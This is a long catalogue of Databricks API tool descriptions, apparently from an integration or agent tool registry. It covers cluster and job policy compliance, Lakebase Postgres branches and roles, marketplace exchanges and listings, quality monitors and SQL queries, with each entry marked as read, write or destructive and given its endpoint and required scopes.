databricks_policies_list_policies (read) — List all policies defined on a securable. Optionally, the list can include inherited policies defined on the securable's parent schema or catalog. PAGINATION BEHAVIOR: The API is by default paginated, a page may contain zero results while still providing a... GET /api/v1/tools/databricks/policies-list-policies. Scopes: catalog:read. databricks_policies_update_policy (write) — Update an ABAC policy on a securable. PATCH /api/2.1/unity-catalog/policies/{on_securable_type}/{on_securable_fullname}/{name} on Databricks. Requires on_securable_type, on_securable_fullname, name. POST /api/v1/tools/databricks/policies-update-policy. Scopes: catalog:write. databricks_policy_compliance_for_clusters_cancel_pending_cluster_enforcement (write, destructive) — DESTRUCTIVE - Cancels a pending enforcement on a cluster. After canceling the pending enforcement, the cluster will no longer update on the next termination or restart. Pending enforcements cannot be canceled when a cluster is in ``TERMINATING`` state. Only... POST /api/v1/tools/databricks/policy-compliance-for-clusters-cancel-pending-cluster-enforcement. Scopes: compute:write. databricks_policy_compliance_for_clusters_enforce_compliance (write) — Updates a cluster to be compliant with the current version of its policy. If a cluster is updated while in a ``TERMINATED`` state, it will remain ``TERMINATED``. The next time the cluster is started, the new attributes will take effect. For clusters in... POST /api/v1/tools/databricks/policy-compliance-for-clusters-enforce-compliance. Scopes: compute:write. databricks_policy_compliance_for_clusters_get_compliance (read) — Returns the policy compliance status of a cluster. Clusters could be out of compliance if their policy was updated after the cluster was last edited. GET /api/v1/tools/databricks/policy-compliance-for-clusters-get-compliance. Scopes: compute:read. databricks_policy_compliance_for_clusters_list_compliance (read) — Returns the policy compliance status of all clusters that use a given policy. Clusters could be out of compliance if their policy was updated after the cluster was last edited. GET /api/v1/tools/databricks/policy-compliance-for-clusters-list-compliance. Scopes: compute:read. databricks_policy_compliance_for_jobs_enforce_compliance (write) — Updates a job so the job clusters that are created when running the job (specified in ``new_cluster``) are compliant with the current versions of their respective cluster policies. All-purpose clusters used in the job will not be updated. POST /api/v1/tools/databricks/policy-compliance-for-jobs-enforce-compliance. Scopes: jobs:write. databricks_policy_compliance_for_jobs_get_compliance (read) — Returns the policy compliance status of a job. Jobs could be out of compliance if a cluster policy they use was updated after the job was last edited and some of its job clusters no longer comply with their updated policies. GET /api/v1/tools/databricks/policy-compliance-for-jobs-get-compliance. Scopes: jobs:read. databricks_policy_compliance_for_jobs_list_compliance (read) — Returns the policy compliance status of all jobs that use a given policy. Jobs could be out of compliance if a cluster policy they use was updated after the job was last edited and its job clusters no longer comply with the updated policy. GET /api/v1/tools/databricks/policy-compliance-for-jobs-list-compliance. Scopes: jobs:read. databricks_policy_families_get (read) — Retrieve the information for an policy family based on its identifier and version GET /api/v1/tools/databricks/policy-families-get. Scopes: compute:read. databricks_policy_families_list (read) — Returns the list of policy definition types available to use at their latest version. This API is paginated. GET /api/v1/tools/databricks/policy-families-list. Scopes: compute:read. databricks_postgres_create_branch (write) — Creates a new database branch in the project. POST /api/v1/tools/databricks/postgres-create-branch. Scopes: database:write. databricks_postgres_create_catalog (write) — Register a Postgres database in the Unity Catalog. POST /api/v1/tools/databricks/postgres-create-catalog. Scopes: database:write. databricks_postgres_create_cdf_config (write) — Create a CDF configuration that materializes the change data feed for all tables in a Postgres schema as open-format Delta tables in Unity Catalog. Once created, each table's change history is continuously written to its corresponding Lakehouse table. POST /api/v1/tools/databricks/postgres-create-cdf-config. Scopes: database:write. databricks_postgres_create_data_api (write) — Enable Data API for a database. POST /api/2.0/postgres/{parent}/data-api on Databricks. Requires parent. POST /api/v1/tools/databricks/postgres-create-data-api. Scopes: database:write. databricks_postgres_create_database (write) — Create a Database. Creates a database in the specified branch. A branch can have multiple databases. POST /api/v1/tools/databricks/postgres-create-database. Scopes: database:write. databricks_postgres_create_endpoint (write) — Creates a new compute endpoint in the branch. POST /api/v1/tools/databricks/postgres-create-endpoint. Scopes: database:write. databricks_postgres_create_project (write) — Creates a new Lakebase Autoscaling Postgres database project, which contains branches and compute endpoints. POST /api/v1/tools/databricks/postgres-create-project. Scopes: database:write. databricks_postgres_create_replication_group_preview (write) — Creates a new replication group for the project. POST /api/v1/tools/databricks/postgres-create-replication-group-preview. Scopes: database:write. databricks_postgres_create_role (write) — Creates a new Postgres role in the branch. POST /api/v1/tools/databricks/postgres-create-role. Scopes: database:write. databricks_postgres_create_snapshot (write) — Creates a snapshot, an immutable point-in-time copy of a branch's data, within the project. POST /api/v1/tools/databricks/postgres-create-snapshot. Scopes: database:write. databricks_postgres_create_synced_table (write) — Create a Synced Table. POST /api/2.0/postgres/synced_tables on Databricks. Requires synced_table_id. POST /api/v1/tools/databricks/postgres-create-synced-table. Scopes: database:write. databricks_postgres_create_table (write) — Create a Table (non-synced database table for Autoscaling v2 Lakebase projects). POST /api/v1/tools/databricks/postgres-create-table. Scopes: database:write. databricks_postgres_delete_branch (write, destructive) — DESTRUCTIVE - Deletes the specified database branch. POST /api/v1/tools/databricks/postgres-delete-branch. Scopes: database:write. databricks_postgres_delete_catalog (write, destructive) — DESTRUCTIVE - Delete a Database Catalog. POST /api/v1/tools/databricks/postgres-delete-catalog. Scopes: database:write. databricks_postgres_delete_cdf_config (write, destructive) — DESTRUCTIVE - Delete a CDF configuration and stop materializing the change data feed. When force=true, also drops the Delta tables in Unity Catalog. When force=false (default), the existing tables are preserved at their last state. POST /api/v1/tools/databricks/postgres-delete-cdf-config. Scopes: database:write. databricks_postgres_delete_data_api (write, destructive) — DESTRUCTIVE - Disable Data API for a database. POST /api/v1/tools/databricks/postgres-delete-data-api. Scopes: database:write. databricks_postgres_delete_database (write, destructive) — DESTRUCTIVE — Delete a Database. DELETE /api/2.0/postgres/{name} on Databricks. Requires name. POST /api/v1/tools/databricks/postgres-delete-database. Scopes: database:write. databricks_postgres_delete_endpoint (write, destructive) — DESTRUCTIVE - Deletes the specified compute endpoint. POST /api/v1/tools/databricks/postgres-delete-endpoint. Scopes: database:write. databricks_postgres_delete_forward_etl_configuration (write, destructive) — DESTRUCTIVE - Hard delete a Forward ETL configuration and all associated table mappings. Unlike DisableForwardEtl, this permanently removes the config and mapping rows. POST /api/v1/tools/databricks/postgres-delete-forward-etl-configuration. Scopes: database:write. databricks_postgres_delete_project (write, destructive) — DESTRUCTIVE - Deletes the specified database project. POST /api/v1/tools/databricks/postgres-delete-project. Scopes: database:write. databricks_postgres_delete_recovery_branch_preview (write, destructive) — DESTRUCTIVE - Deletes the specified recovery branch after reconciliation is complete. POST /api/v1/tools/databricks/postgres-delete-recovery-branch-preview. Scopes: database:write. databricks_postgres_delete_replication_group_preview (write, destructive) — DESTRUCTIVE - Deletes the specified replication group. POST /api/v1/tools/databricks/postgres-delete-replication-group-preview. Scopes: database:write. databricks_postgres_delete_role (write, destructive) — DESTRUCTIVE - Deletes the specified Postgres role. POST /api/v1/tools/databricks/postgres-delete-role. Scopes: database:write. databricks_postgres_delete_snapshot (write, destructive) — DESTRUCTIVE - Deletes the specified snapshot. POST /api/v1/tools/databricks/postgres-delete-snapshot. Scopes: database:write. databricks_postgres_delete_synced_table (write, destructive) — DESTRUCTIVE — Delete a Synced Table. DELETE /api/2.0/postgres/{name} on Databricks. Requires name. POST /api/v1/tools/databricks/postgres-delete-synced-table. Scopes: database:write. databricks_postgres_delete_table (write, destructive) — DESTRUCTIVE - Delete a Table (non-synced database table for Autoscaling v2 Lakebase projects). POST /api/v1/tools/databricks/postgres-delete-table. Scopes: database:write. databricks_postgres_disable_forward_etl (write, destructive) — DESTRUCTIVE - Disable Forward ETL for a branch. POST /api/v1/tools/databricks/postgres-disable-forward-etl. Scopes: database:write. databricks_postgres_failover_replication_group_preview (write) — Fails over the replication group to a target workspace, promoting the secondary to primary. POST /api/v1/tools/databricks/postgres-failover-replication-group-preview. Scopes: database:write. databricks_postgres_generate_database_credential (write) — Generate OAuth credentials for a Postgres database. POST /api/v1/tools/databricks/postgres-generate-database-credential. Scopes: database:write. databricks_postgres_get_branch (read) — Retrieves information about the specified database branch. GET /api/v1/tools/databricks/postgres-get-branch. Scopes: database:read. databricks_postgres_get_catalog (read) — Get a Database Catalog. GET /api/2.0/postgres/{name} on Databricks. Requires name. GET /api/v1/tools/databricks/postgres-get-catalog. Scopes: database:read. databricks_postgres_get_cdf_config (read) — Get a single Lakebase CDF configuration, including the source Postgres schema, target Unity Catalog schema, and the identity under which writes are authorized. GET /api/v1/tools/databricks/postgres-get-cdf-config. Scopes: database:read. databricks_postgres_get_cdf_status (read) — Get the CDF status of a single table within a Lakebase CDF configuration, including its current state and the last committed position in the feed. GET /api/v1/tools/databricks/postgres-get-cdf-status. Scopes: database:read. databricks_postgres_get_compute_instance (read) — Lists the specific compute instance under an endpoint. Note: ComputeInstances are managed via the parent Endpoint resource, and cannot be created, updated, or deleted directly. GET /api/v1/tools/databricks/postgres-get-compute-instance. Scopes: database:read. databricks_postgres_get_data_api (read) — Get Data API configuration for a database. GET /api/v1/tools/databricks/postgres-get-data-api. Scopes: database:read. databricks_postgres_get_database (read) — Get a Database. GET /api/2.0/postgres/{name} on Databricks. Requires name. GET /api/v1/tools/databricks/postgres-get-database. Scopes: database:read. databricks_postgres_get_endpoint (read) — Retrieves information about the specified compute endpoint, including its connection details and operational state. GET /api/v1/tools/databricks/postgres-get-endpoint. Scopes: database:read. databricks_postgres_get_forward_etl_metadata (read) — Get Forward ETL metadata (database and schema OIDs). GET /api/v1/tools/databricks/postgres-get-forward-etl-metadata. Scopes: database:read. databricks_postgres_get_forward_etl_status (read) — Get Forward ETL configuration and status for a branch. GET /api/v1/tools/databricks/postgres-get-forward-etl-status. Scopes: database:read. databricks_postgres_get_operation (read) — Retrieves the status of a long-running operation. GET /api/v1/tools/databricks/postgres-get-operation. Scopes: database:read. databricks_postgres_get_project (read) — Retrieves information about the specified database project. GET /api/v1/tools/databricks/postgres-get-project. Scopes: database:read. databricks_postgres_get_recovery_branch_preview (read) — Retrieves information about the specified recovery branch. GET /api/v1/tools/databricks/postgres-get-recovery-branch-preview. Scopes: database:read. databricks_postgres_get_replication_group_preview (read) — Retrieves information about the specified replication group. GET /api/v1/tools/databricks/postgres-get-replication-group-preview. Scopes: database:read. databricks_postgres_get_role (read) — Retrieves information about the specified Postgres role, including its authentication method and permissions. GET /api/v1/tools/databricks/postgres-get-role. Scopes: database:read. databricks_postgres_get_snapshot (read) — Retrieves information about the specified snapshot. GET /api/v1/tools/databricks/postgres-get-snapshot. Scopes: database:read. databricks_postgres_get_snapshot_schedule (read) — Retrieves the snapshot schedule for a branch. A branch with no configured schedule returns an empty schedule (not NOT_FOUND). GET /api/v1/tools/databricks/postgres-get-snapshot-schedule. Scopes: database:read. databricks_postgres_get_synced_table (read) — Get a Synced Table. GET /api/2.0/postgres/{name} on Databricks. Requires name. GET /api/v1/tools/databricks/postgres-get-synced-table. Scopes: database:read. databricks_postgres_get_table (read) — Get a Table (non-synced database table for Autoscaling v2 Lakebase projects). GET /api/v1/tools/databricks/postgres-get-table. Scopes: database:read. databricks_postgres_inspect_recovery_branch_preview (write) — Materializes a temporary inspection branch from the specified recovery branch for data examination. POST /api/v1/tools/databricks/postgres-inspect-recovery-branch-preview. Scopes: database:write. databricks_postgres_list_branches (read) — Returns a paginated list of database branches in the project. GET /api/v1/tools/databricks/postgres-list-branches. Scopes: database:read. databricks_postgres_list_cdf_configs (read) — List all CDF configurations for a Lakebase database. Each configuration maps a Postgres schema to a Unity Catalog schema where the change data feed is materialized. GET /api/v1/tools/databricks/postgres-list-cdf-configs. Scopes: database:read. databricks_postgres_list_cdf_statuses (read) — List the per-table CDF statuses within a Lakebase CDF configuration. Each status shows whether a table's change data feed is snapshotting, streaming, or skipped. GET /api/v1/tools/databricks/postgres-list-cdf-statuses. Scopes: database:read. databricks_postgres_list_compute_instances (read) — Lists all compute instances that have been created under the specified endpoint. Note: ComputeInstances are managed via the parent Endpoint resource, and cannot be created, updated, or deleted directly. GET /api/v1/tools/databricks/postgres-list-compute-instances. Scopes: database:read. databricks_postgres_list_databases (read) — List Databases. GET /api/2.0/postgres/{parent}/databases on Databricks. Requires parent. GET /api/v1/tools/databricks/postgres-list-databases. Scopes: database:read. databricks_postgres_list_endpoints (read) — Returns a paginated list of compute endpoints in the branch. GET /api/v1/tools/databricks/postgres-list-endpoints. Scopes: database:read. databricks_postgres_list_projects (read) — Returns a paginated list of database projects in the workspace that the user has permission to access. GET /api/v1/tools/databricks/postgres-list-projects. Scopes: database:read. databricks_postgres_list_recovery_branch_previews (read) — Returns a paginated list of recovery branches for the project. GET /api/v1/tools/databricks/postgres-list-recovery-branch-previews. Scopes: database:read. databricks_postgres_list_replication_group_previews (read) — Returns a paginated list of replication groups for the project. GET /api/v1/tools/databricks/postgres-list-replication-group-previews. Scopes: database:read. databricks_postgres_list_roles (read) — Returns a paginated list of Postgres roles in the branch. GET /api/v1/tools/databricks/postgres-list-roles. Scopes: database:read. databricks_postgres_list_snapshots (read) — Returns a paginated list of snapshots in the project. GET /api/v1/tools/databricks/postgres-list-snapshots. Scopes: database:read. databricks_postgres_switchover_replication_group_preview (write) — Switches over the replication group to a target workspace with a coordinated failover. POST /api/v1/tools/databricks/postgres-switchover-replication-group-preview. Scopes: database:write. databricks_postgres_undelete_branch (write) — Undeletes the specified database branch. POST /api/v1/tools/databricks/postgres-undelete-branch. Scopes: database:write. databricks_postgres_undelete_project (write) — Undeletes a soft-deleted project. POST /api/2.0/postgres/{name}/undelete on Databricks. Requires name. POST /api/v1/tools/databricks/postgres-undelete-project. Scopes: database:write. databricks_postgres_update_branch (write) — Updates the specified database branch. You can set this branch as the project's default branch, or protect/unprotect it. POST /api/v1/tools/databricks/postgres-update-branch. Scopes: database:write. databricks_postgres_update_data_api (write) — Update Data API configuration for a database. POST /api/v1/tools/databricks/postgres-update-data-api. Scopes: database:write. databricks_postgres_update_database (write) — Update a Database. PATCH /api/2.0/postgres/{name} on Databricks. Requires name, update_mask. POST /api/v1/tools/databricks/postgres-update-database. Scopes: database:write. databricks_postgres_update_endpoint (write) — Updates the specified compute endpoint. You can update autoscaling limits, suspend timeout, or enable/disable the compute endpoint. POST /api/v1/tools/databricks/postgres-update-endpoint. Scopes: database:write. databricks_postgres_update_project (write) — Updates the specified database project. PATCH /api/2.0/postgres/{name} on Databricks. Requires name, update_mask. POST /api/v1/tools/databricks/postgres-update-project. Scopes: database:write. databricks_postgres_update_replication_group_preview (write) — Updates the specified replication group. POST /api/v1/tools/databricks/postgres-update-replication-group-preview. Scopes: database:write. databricks_postgres_update_role (write) — Update a role for a branch. PATCH /api/2.0/postgres/{name} on Databricks. Requires name, update_mask. POST /api/v1/tools/databricks/postgres-update-role. Scopes: database:write. databricks_postgres_update_snapshot_schedule (write) — Sets the snapshot schedule for a branch. The ``schedule`` field is replaced wholesale; an empty schedule disables automatic snapshots. POST /api/v1/tools/databricks/postgres-update-snapshot-schedule. Scopes: database:write. databricks_provider_exchange_filters_create (write) — Add an exchange filter. POST /api/2.0/marketplace-exchange/filters on Databricks. Requires filter. POST /api/v1/tools/databricks/provider-exchange-filters-create. Scopes: marketplace:write. databricks_provider_exchange_filters_delete (write, destructive) — DESTRUCTIVE — Delete an exchange filter. DELETE /api/2.0/marketplace-exchange/filters/{id} on Databricks. Requires id. POST /api/v1/tools/databricks/provider-exchange-filters-delete. Scopes: marketplace:write. databricks_provider_exchange_filters_list (read) — List exchange filter. GET /api/2.0/marketplace-exchange/filters on Databricks. Requires exchange_id. GET /api/v1/tools/databricks/provider-exchange-filters-list. Scopes: marketplace:read. databricks_provider_exchange_filters_update (write) — Update an exchange filter. PUT /api/2.0/marketplace-exchange/filters/{id} on Databricks. Requires id, filter. POST /api/v1/tools/databricks/provider-exchange-filters-update. Scopes: marketplace:write. databricks_provider_exchanges_add_listing_to_exchange (write) — Associate an exchange with a listing. POST /api/2.0/marketplace-exchange/exchanges-for-listing on Databricks. Requires listing_id, exchange_id. POST /api/v1/tools/databricks/provider-exchanges-add-listing-to-exchange. Scopes: marketplace:write. databricks_provider_exchanges_create (write) — Create an exchange. POST /api/2.0/marketplace-exchange/exchanges on Databricks. Requires exchange. POST /api/v1/tools/databricks/provider-exchanges-create. Scopes: marketplace:write. databricks_provider_exchanges_delete (write, destructive) — DESTRUCTIVE - This removes a listing from marketplace. POST /api/v1/tools/databricks/provider-exchanges-delete. Scopes: marketplace:write. databricks_provider_exchanges_delete_listing_from_exchange (write, destructive) — DESTRUCTIVE - Disassociate an exchange with a listing POST /api/v1/tools/databricks/provider-exchanges-delete-listing-from-exchange. Scopes: marketplace:write. databricks_provider_exchanges_get (read) — Get an exchange. GET /api/2.0/marketplace-exchange/exchanges/{id} on Databricks. Requires id. GET /api/v1/tools/databricks/provider-exchanges-get. Scopes: marketplace:read. databricks_provider_exchanges_list (read) — List exchanges visible to provider. GET /api/2.0/marketplace-exchange/exchanges on Databricks. GET /api/v1/tools/databricks/provider-exchanges-list. Scopes: marketplace:read. databricks_provider_exchanges_list_exchanges_for_listing (read) — List exchanges associated with a listing GET /api/v1/tools/databricks/provider-exchanges-list-exchanges-for-listing. Scopes: marketplace:read. databricks_provider_exchanges_list_listings_for_exchange (read) — List listings associated with an exchange GET /api/v1/tools/databricks/provider-exchanges-list-listings-for-exchange. Scopes: marketplace:read. databricks_provider_exchanges_update (write) — Update an exchange. PUT /api/2.0/marketplace-exchange/exchanges/{id} on Databricks. Requires id, exchange. POST /api/v1/tools/databricks/provider-exchanges-update. Scopes: marketplace:write. databricks_provider_files_create (write) — Create a file. Currently, only provider icons and attached notebooks are supported. POST /api/v1/tools/databricks/provider-files-create. Scopes: marketplace:write. databricks_provider_files_delete (write, destructive) — DESTRUCTIVE — Delete a file. DELETE /api/2.0/marketplace-provider/files/{file_id} on Databricks. Requires file_id. POST /api/v1/tools/databricks/provider-files-delete. Scopes: marketplace:write. databricks_provider_files_get (read) — Get a file. GET /api/2.0/marketplace-provider/files/{file_id} on Databricks. Requires file_id. GET /api/v1/tools/databricks/provider-files-get. Scopes: marketplace:read. databricks_provider_files_list (read) — List files attached to a parent entity. GET /api/2.0/marketplace-provider/files on Databricks. Requires file_parent. GET /api/v1/tools/databricks/provider-files-list. Scopes: marketplace:read. databricks_provider_listings_create (write) — Create a new listing. POST /api/2.0/marketplace-provider/listing on Databricks. Requires listing. POST /api/v1/tools/databricks/provider-listings-create. Scopes: marketplace:write. databricks_provider_listings_delete (write, destructive) — DESTRUCTIVE — Delete a listing. DELETE /api/2.0/marketplace-provider/listings/{id} on Databricks. Requires id. POST /api/v1/tools/databricks/provider-listings-delete. Scopes: marketplace:write. databricks_provider_listings_get (read) — Get a listing. GET /api/2.0/marketplace-provider/listings/{id} on Databricks. Requires id. GET /api/v1/tools/databricks/provider-listings-get. Scopes: marketplace:read. databricks_provider_listings_list (read) — List listings owned by this provider. GET /api/2.0/marketplace-provider/listings on Databricks. GET /api/v1/tools/databricks/provider-listings-list. Scopes: marketplace:read. databricks_provider_listings_update (write) — Update a listing. PUT /api/2.0/marketplace-provider/listings/{id} on Databricks. Requires id, listing. POST /api/v1/tools/databricks/provider-listings-update. Scopes: marketplace:write. databricks_provider_personalization_requests_list (read) — List personalization requests to this provider. This will return all personalization requests, regardless of which listing they are for. GET /api/v1/tools/databricks/provider-personalization-requests-list. Scopes: marketplace:read. databricks_provider_personalization_requests_update (write) — Update personalization request. This method only permits updating the status of the request. POST /api/v1/tools/databricks/provider-personalization-requests-update. Scopes: marketplace:write. databricks_provider_provider_analytics_dashboards_create (write) — Create provider analytics dashboard. Returns Marketplace specific ``id``. Not to be confused with the Lakeview dashboard id. POST /api/v1/tools/databricks/provider-provider-analytics-dashboards-create. Scopes: marketplace:write. databricks_provider_provider_analytics_dashboards_get (read) — Get provider analytics dashboard. GET /api/2.0/marketplace-provider/analytics_dashboard on Databricks. GET /api/v1/tools/databricks/provider-provider-analytics-dashboards-get. Scopes: marketplace:read. databricks_provider_provider_analytics_dashboards_get_latest_version (read) — Get latest version of provider analytics dashboard. GET /api/v1/tools/databricks/provider-provider-analytics-dashboards-get-latest-version. Scopes: marketplace:read. databricks_provider_provider_analytics_dashboards_update (write) — Update provider analytics dashboard. PUT /api/2.0/marketplace-provider/analytics_dashboard/{id} on Databricks. Requires id. POST /api/v1/tools/databricks/provider-provider-analytics-dashboards-update. Scopes: marketplace:write. databricks_provider_providers_create (write) — Create a provider. POST /api/2.0/marketplace-provider/provider on Databricks. Requires provider. POST /api/v1/tools/databricks/provider-providers-create. Scopes: marketplace:write. databricks_provider_providers_delete (write, destructive) — DESTRUCTIVE — Delete provider. DELETE /api/2.0/marketplace-provider/providers/{id} on Databricks. Requires id. POST /api/v1/tools/databricks/provider-providers-delete. Scopes: marketplace:write. databricks_provider_providers_get (read) — Get provider profile. GET /api/2.0/marketplace-provider/providers/{id} on Databricks. Requires id. GET /api/v1/tools/databricks/provider-providers-get. Scopes: marketplace:read. databricks_provider_providers_list (read) — List provider profiles for account. GET /api/2.0/marketplace-provider/providers on Databricks. GET /api/v1/tools/databricks/provider-providers-list. Scopes: marketplace:read. databricks_provider_providers_update (write) — Update provider profile. PUT /api/2.0/marketplace-provider/providers/{id} on Databricks. Requires id, provider. POST /api/v1/tools/databricks/provider-providers-update. Scopes: marketplace:write. databricks_providers_create (write) — Creates a new authentication provider minimally based on a name and authentication type. The caller must be an admin on the metastore. POST /api/v1/tools/databricks/providers-create. Scopes: catalog:write. databricks_providers_delete (write, destructive) — DESTRUCTIVE - Deletes an authentication provider, if the caller is a metastore admin or is the owner of the provider. POST /api/v1/tools/databricks/providers-delete. Scopes: catalog:write. databricks_providers_get (read) — Gets a specific authentication provider. The caller must supply the name of the provider, and must either be a metastore admin or the owner of the provider. GET /api/v1/tools/databricks/providers-get. Scopes: catalog:read. databricks_providers_list (read) — Gets an array of available authentication providers. The caller must either be a metastore admin, have the **USE_PROVIDER** privilege on the providers, or be the owner of the providers. Providers not owned by the caller and for which the caller does not... GET /api/v1/tools/databricks/providers-list. Scopes: catalog:read. databricks_providers_list_provider_share_assets (read) — Get arrays of assets associated with a specified provider's share. The caller is the recipient of the share. GET /api/v1/tools/databricks/providers-list-provider-share-assets. Scopes: catalog:read. databricks_providers_list_shares (read) — Gets an array of a specified provider's shares within the metastore where: - the caller is a metastore admin, or - the caller is the owner. GET /api/v1/tools/databricks/providers-list-shares. Scopes: catalog:read. databricks_providers_update (write) — Updates the information for an authentication provider, if the caller is a metastore admin or is the owner of the provider. If the update changes the provider name, the caller must be both a metastore admin and the owner of the provider. POST /api/v1/tools/databricks/providers-update. Scopes: catalog:write. databricks_quality_monitor_v2_create_quality_monitor (write) — Deprecated: Use Data Quality Monitoring API instead (/api/data-quality/v1/monitors). Create a quality monitor on UC object. POST /api/v1/tools/databricks/quality-monitor-v2-create-quality-monitor. Scopes: catalog:write. databricks_quality_monitor_v2_delete_quality_monitor (write, destructive) — DESTRUCTIVE - Deprecated: Use Data Quality Monitoring API instead (/api/data-quality/v1/monitors). Delete a quality monitor on UC object. POST /api/v1/tools/databricks/quality-monitor-v2-delete-quality-monitor. Scopes: catalog:write. databricks_quality_monitor_v2_get_quality_monitor (read) — Deprecated: Use Data Quality Monitoring API instead (/api/data-quality/v1/monitors). Read a quality monitor on UC object. GET /api/v1/tools/databricks/quality-monitor-v2-get-quality-monitor. Scopes: catalog:read. databricks_quality_monitor_v2_list_quality_monitor (read) — Deprecated: Use Data Quality Monitoring API instead (/api/data-quality/v1/monitors). (Unimplemented) List quality monitors. GET /api/v1/tools/databricks/quality-monitor-v2-list-quality-monitor. Scopes: catalog:read. databricks_quality_monitor_v2_update_quality_monitor (write) — Deprecated: Use Data Quality Monitoring API instead (/api/data-quality/v1/monitors). (Unimplemented) Update a quality monitor on UC object. POST /api/v1/tools/databricks/quality-monitor-v2-update-quality-monitor. Scopes: catalog:write. databricks_quality_monitors_cancel_refresh (write, destructive) — DESTRUCTIVE - Deprecated: Use Data Quality Monitors API instead (/api/data-quality/v1/monitors). Cancels an already-initiated refresh job. POST /api/v1/tools/databricks/quality-monitors-cancel-refresh. Scopes: catalog:write. databricks_quality_monitors_create (write) — Deprecated: Use Data Quality Monitors API instead (/api/data-quality/v1/monitors). Creates a new monitor for the specified table. The caller must either: 1. be an owner of the table's parent catalog, have **USE_SCHEMA** on the table's parent schema, and... POST /api/v1/tools/databricks/quality-monitors-create. Scopes: catalog:write. databricks_quality_monitors_delete (write, destructive) — DESTRUCTIVE - Deprecated: Use Data Quality Monitors API instead (/api/data-quality/v1/monitors). Deletes a monitor for the specified table. The caller must either: 1. be an owner of the table's parent catalog 2. have **USE_CATALOG** on the table's parent... POST /api/v1/tools/databricks/quality-monitors-delete. Scopes: catalog:write. databricks_quality_monitors_get (read) — Deprecated: Use Data Quality Monitors API instead (/api/data-quality/v1/monitors). Gets a monitor for the specified table. The caller must either: 1. be an owner of the table's parent catalog 2. have **USE_CATALOG** on the table's parent catalog and be an... GET /api/v1/tools/databricks/quality-monitors-get. Scopes: catalog:read. databricks_quality_monitors_get_refresh (read) — Deprecated: Use Data Quality Monitors API instead (/api/data-quality/v1/monitors). Gets info about a specific monitor refresh using the given refresh ID. The caller must either: 1. be an owner of the table's parent catalog 2. have **USE_CATALOG** on the... GET /api/v1/tools/databricks/quality-monitors-get-refresh. Scopes: catalog:read. databricks_quality_monitors_list_refreshes (read) — Deprecated: Use Data Quality Monitors API instead (/api/data-quality/v1/monitors). Gets an array containing the history of the most recent refreshes (up to 25) for this table. The caller must either: 1. be an owner of the table's parent catalog 2. have... GET /api/v1/tools/databricks/quality-monitors-list-refreshes. Scopes: catalog:read. databricks_quality_monitors_regenerate_dashboard (write) — Deprecated: Use Data Quality Monitors API instead (/api/data-quality/v1/monitors). Regenerates the monitoring dashboard for the specified table. The caller must either: 1. be an owner of the table's parent catalog 2. have **USE_CATALOG** on the table's... POST /api/v1/tools/databricks/quality-monitors-regenerate-dashboard. Scopes: catalog:write. databricks_quality_monitors_run_refresh (write) — Deprecated: Use Data Quality Monitors API instead (/api/data-quality/v1/monitors). Queues a metric refresh on the monitor for the specified table. The refresh will execute in the background. The caller must either: 1. be an owner of the table's parent... POST /api/v1/tools/databricks/quality-monitors-run-refresh. Scopes: catalog:write. databricks_quality_monitors_update (write) — Deprecated: Use Data Quality Monitors API instead (/api/data-quality/v1/monitors). Updates a monitor for the specified table. The caller must either: 1. be an owner of the table's parent catalog 2. have **USE_CATALOG** on the table's parent catalog and be... POST /api/v1/tools/databricks/quality-monitors-update. Scopes: catalog:write. databricks_queries_create (write) — Creates a query. POST /api/2.0/sql/queries on Databricks. POST /api/v1/tools/databricks/queries-create. Scopes: sql:write. databricks_queries_delete (write, destructive) — DESTRUCTIVE - Moves a query to the trash. Trashed queries immediately disappear from searches and list views, and cannot be used for alerts. You can restore a trashed query through the UI. A trashed query is permanently deleted after 30 days. POST /api/v1/tools/databricks/queries-delete. Scopes: sql:write. databricks_queries_get (read) — Gets a query. GET /api/2.0/sql/queries/{id} on Databricks. Requires id. GET /api/v1/tools/databricks/queries-get. Scopes: sql:read. databricks_queries_legacy_create (write) — Creates a new query definition. Queries created with this endpoint belong to the authenticated user making the request. The ``data_source_id`` field specifies the ID of the SQL warehouse to run this query against. You can use the Data Sources API to see a... POST /api/v1/tools/databricks/queries-legacy-create. Scopes: sql:write. databricks_queries_legacy_delete (write, destructive) — DESTRUCTIVE - Moves a query to the trash. Trashed queries immediately disappear from searches and list views, and they cannot be used for alerts. The trash is deleted after 30 days. **Warning**: This API is deprecated. Please use :method:queries/delete... POST /api/v1/tools/databricks/queries-legacy-delete. Scopes: sql:write. databricks_queries_legacy_get (read) — Retrieve a query object definition along with contextual permissions information about the currently authenticated user. **Warning**: This API is deprecated. Please use :method:queries/get instead. `Learn more `__ GET /api/v1/tools/databricks/queries-legacy-get. Scopes: sql:read. databricks_queries_legacy_list (read) — Gets a list of queries. Optionally, this list can be filtered by a search term. **Warning**: Calling this API concurrently 10 or more times could result in throttling, service degradation, or a temporary ban. **Warning**: This API is deprecated. Please use... GET /api/v1/tools/databricks/queries-legacy-list. Scopes: sql:read. databricks_queries_legacy_restore (write) — Restore a query that has been moved to the trash. A restored query appears in list views and searches. You can use restored queries for alerts. **Warning**: This API is deprecated. Please see the latest version. `Learn more `__ POST /api/v1/tools/databricks/queries-legacy-restore. Scopes: sql:write. databricks_queries_legacy_update (write) — Modify this query definition. **Note**: You cannot undo this operation. **Warning**: This API is deprecated. Please use :method:queries/update instead. `Learn more `__ POST /api/v1/tools/databricks/queries-legacy-update. Scopes: sql:write. databricks_queries_list (read) — Gets a list of queries accessible to the user, ordered by creation time. **Warning:** Calling this API concurrently 10 or more times could result in throttling, service degradation, or a temporary ban. GET /api/v1/tools/databricks/queries-list. Scopes: sql:read. databricks_queries_list_visualizations (read) — Gets a list of visualizations on a query. GET /api/v1/tools/databricks/queries-list-visualizations. Scopes: sql:read. databricks_queries_update (write) — Updates a query. PATCH /api/2.0/sql/queries/{id} on Databricks. Requires id, update_mask. POST /api/v1/tools/databricks/queries-update. Scopes: sql:write. databricks_query_history_list (read) — List the history of queries through SQL warehouses, and serverless compute. You can filter by user ID, warehouse ID, status, and time range. Most recently started queries are returned first (up to max_results in request). The pagination token returned in... GET /api/v1/tools/databricks/query-history-list. Scopes: sql:read. databricks_query_visualizations_create (write) — Adds a visualization to a query. POST /api/2.0/sql/visualizations on Databricks. POST /api/v1/tools/databricks/query-visualizations-create. Scopes: sql:write. databricks_query_visualizations_delete (write, destructive) — DESTRUCTIVE — Removes a visualization. DELETE /api/2.0/sql/visualizations/{id} on Databricks. Requires id. POST /api/v1/tools/databricks/query-visualizations-delete. Scopes: sql:write. databricks_query_visualizations_legacy_create (write) — Creates visualization in the query. **Warning**: This API is deprecated. Please use :method:queryvisualizations/create instead. `Learn more `__ POST /api/v1/tools/databricks/query-visualizations-legacy-create. 